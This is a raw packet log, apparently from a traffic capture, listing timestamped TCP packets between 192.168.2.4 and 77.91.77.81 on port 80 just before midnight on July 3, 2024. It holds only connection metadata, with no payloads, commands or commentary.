Jul 3, 2024 23:59:26.835005999 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835015059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835040092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835048914 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835072041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835083008 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835104942 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835114002 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835136890 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835144997 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835170031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835172892 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835202932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835213900 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835236073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835247993 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835268974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835278034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835308075 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835433960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835467100 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835479975 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835499048 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835510015 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835530996 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835540056 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835562944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835576057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835594893 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835601091 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835627079 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835632086 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835659027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835669041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835691929 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835701942 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835724115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835736036 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835757971 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835767984 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835789919 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835798979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835824013 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835830927 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835858107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.835860968 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.835895061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.836030006 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.836067915 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.836074114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.836101055 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.836114883 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.836133957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.836143970 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.836167097 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.836178064 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.836199045 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.836209059 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.836232901 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.836240053 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.836266041 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.836294889 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.836298943 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.836313009 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.836332083 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.836349010 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.836365938 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.836373091 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.836399078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.836431026 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.836442947 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.836462975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.836473942 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.838078022 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.869314909 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.869368076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.869396925 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.869447947 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.869455099 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.869476080 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.869482994 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.869489908 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.869534016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.869538069 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.869566917 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.869592905 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.869616032 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.869623899 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.869648933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.869683981 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.869685888 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.869704962 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.869729042 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.869731903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.869765997 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.869797945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.869832993 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.869849920 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.869858980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.869882107 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.869899988 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.869915962 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.869925976 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.869956017 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.892677069 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.892709970 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.892728090 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.892935038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.892966986 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.892971992 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.892999887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.893004894 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.893032074 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.893035889 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.893052101 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.893759012 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.893842936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.929018974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929054022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929088116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929101944 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.929126024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.929137945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929143906 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.929172993 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929189920 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.929204941 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929214954 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.929238081 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929287910 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.929291010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929325104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929356098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929373980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.929404020 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929409027 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.929436922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929469109 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929481983 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.929501057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929533958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929557085 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.929565907 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929582119 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.929598093 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929610014 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.929645061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929677963 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929694891 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.929711103 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929719925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.929744005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929791927 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.929794073 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929843903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929876089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929898024 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.929909945 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929925919 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.929944038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929953098 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.929977894 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.929997921 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930010080 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930022001 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930042982 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930061102 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930077076 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930094957 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930109024 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930124044 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930143118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930160999 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930176973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930188894 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930227995 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930321932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930354118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930372953 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930386066 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930399895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930418968 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930433035 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930450916 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930461884 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930484056 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930505037 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930516958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930529118 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930550098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930567980 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930583000 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930596113 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930614948 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930625916 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930649042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930660963 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930680990 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930692911 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930713892 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930726051 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930746078 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930761099 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930778027 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930795908 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930886030 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930918932 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930938005 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930951118 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930965900 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.930984974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.930999041 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.931016922 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931039095 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.931051016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931066990 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.931083918 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931102037 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.931116104 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931128025 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.931149960 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931159973 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.931180954 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931200027 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.931214094 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931224108 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.931247950 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931260109 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.931292057 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.931385040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931416988 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931448936 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931480885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931512117 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931545019 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931576967 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.931576967 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931611061 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931627989 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.931643009 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931657076 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.931674957 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931693077 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.931709051 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931711912 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.931756020 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.931757927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931792974 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931804895 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.931824923 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931834936 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.931869030 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.931905031 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931937933 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931988955 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.931993961 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.932020903 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.932053089 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.932073116 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.932085037 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.932097912 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.932116985 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.932149887 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.932171106 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.932182074 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.932198048 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.932214022 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.932221889 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.932248116 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.932259083 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.932288885 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.932322025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.932336092 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.932354927 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.932368994 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.932389975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.932421923 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.932434082 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.932466984 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.964943886 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.964997053 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.965063095 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.965068102 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.965099096 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.965147018 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.965153933 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.965197086 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.965198040 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.965248108 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.965281010 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.965301991 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.965312958 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.965332985 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.965346098 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.965368032 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.965377092 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.965396881 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.965424061 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.965429068 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.965461016 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.965476990 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.965496063 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.965508938 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.965549946 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.988224983 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.988291025 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.988322973 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.988348961 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.988374949 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.988377094 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.988409042 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.988441944 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.988462925 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.988476038 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:26.988497019 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:26.988521099 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.024254084 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.024321079 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.024543047 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.024571896 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.024597883 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.024605036 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.024612904 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.024651051 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.024656057 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.024688005 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.024703979 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.024722099 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.024744034 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.024768114 CEST	49744	80	192.168.2.4	77.91.77.81
Jul 3, 2024 23:59:27.024770975 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.024804115 CEST	80	49744	77.91.77.81	192.168.2.4
Jul 3, 2024 23:59:27.024823904 CEST	49744	80	192.168.2.4	77.91.77.81
